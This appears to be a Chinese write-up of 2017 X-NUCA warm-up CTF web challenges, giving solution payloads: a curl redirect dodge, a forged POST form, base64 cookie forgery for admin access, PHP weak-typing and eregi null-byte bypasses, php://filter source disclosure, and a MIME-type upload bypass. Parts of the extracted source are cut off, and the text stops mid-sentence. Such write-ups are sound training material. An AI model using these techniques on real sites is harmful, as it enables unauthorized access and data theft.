[2017X-nuca] 赛前热身Writeup

捉迷藏

  • 题目url:http://218.76.35.75:20111/index.php

进去之后查看源码:

[2017X-nuca] 赛前热身Writeup_第1张图片
sourceCode

发现有隐藏链接:Index.php (Linux中对url大小写敏感)
手动输入后发现被跳转回来
于是在命令行使用curl工具逃逸跳转(curl默认不跟随跳转)

[2017X-nuca] 赛前热身Writeup_第2张图片
poc
  • Payload: curl http://218.76.35.75:20111/Index.php

简单的问答

  • 题目url:http://218.76.35.75:20112
    进去之后查看源代码发现题目全是扯淡
    源码截图如下:
[2017X-nuca] 赛前热身Writeup_第3张图片
sourceCode

分析form后提交post(工具:HackBar)
PS:后台估计是没有处理q4字段,直接处理q3字段了

  • Payload:
    url -> http://218.76.35.75:20112
    Post Field -> q1=2016&q2=lol&q3=22&success=true

后台后台后台

  • 题目url:http://218.76.35.75:20113/
    进去之后只有一个Enter按钮可被操作,
    目的是获得admin权限
    观察到Response有新Cookie被set,
[2017X-nuca] 赛前热身Writeup_第4张图片
Cookie

Member疑似Base64,Decode后发现是Normal,猜测这是基于Cookie的Auth,直接在浏览器控制台修改Cookie后点击Enter后获得Flag。

  • Payload:
    document.cookie="User=admin"
    document.cookie="Member=QWRtaW4=" <--这是Admin字符串的base64 Encode

PHP是最好的语言

  • 题目url:http://218.76.35.75:20114
    进去看到源码,白盒审计
    代码如下:
 2016)?$v1=1:NULL; 
        //此v必须大于2016,这里用到了PHP的一个弱类型特点,在PHP中,当'2017aaaaabbbb' 与数字2016比较时,PHP会尝试把前者转换成数字,故前者会被转换成2017,这与(int)'2017asdadasd' = 2017是符合的,看下面[图1]
    }
    if(is_array(@$a["bar2"])){ //foo中必须含有一个k为bar2,v为数组的kv对
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        //bar2的v中的数组元素必须等于5个,并且第一个元素必须还是为数组
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        //foo中必须包含一个k为a2,v为nudt的kv对(我觉得出题人这里是想出成bar2中必须包含一个v为nudt的kv对)
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
            //bar2里面的元素不允许包含nudt字符串
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
        //这里利用了eregi会被%00截断的特点构造payload绕过检测
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>
  • Payload:http://218.76.35.75:20114/?foo={"bar1":"2017Pr0ph3t","bar2":[[""],"","","",""],"a2":["fuck","nudt"]}&cat[0]=%00�htctf2016&cat[1][]=1&dog=222
[2017X-nuca] 赛前热身Writeup_第5张图片
图1

Login

  • 题目url:http://218.76.35.75:20115/
    进去之后随便点点观察到Url为?page=xxx,很有可能是文件包含,直接试一波php伪协议, php://filter/convert.base64-encode/resource=main发现可以,遂读取页面源码
    ----------- index.php ----------

----------- main.php ----------


    
        trolol
    
    
        
main server info login

----------- login.php ------------


    
login




这一题比较迷。。因为题目逻辑貌似是直接随便包含一个log文件就能出flag。。
基本思路是,登陆带debug生成log然后在index.php里发log的参数。。
但是其实这一题估计是出题人改崩了。。。
王师傅有更6的解题思路。。。(我觉得这应该是正确的)。。
详情请移步http://www.jianshu.com/p/fd9f38753078


简单的文件上传

  • 题目url:http://218.76.35.75:20122
    中规中矩的上传检测,后台检测后缀和MIME类型,要求是php后缀并且MIME是jpg,直接F12截包修改MIME得到flag

简单的JS

  • 题目url:http://218.76.35.75:20123
    打开页面有提示The evil url is the passkey,查看源码有
 

在控制台解码后为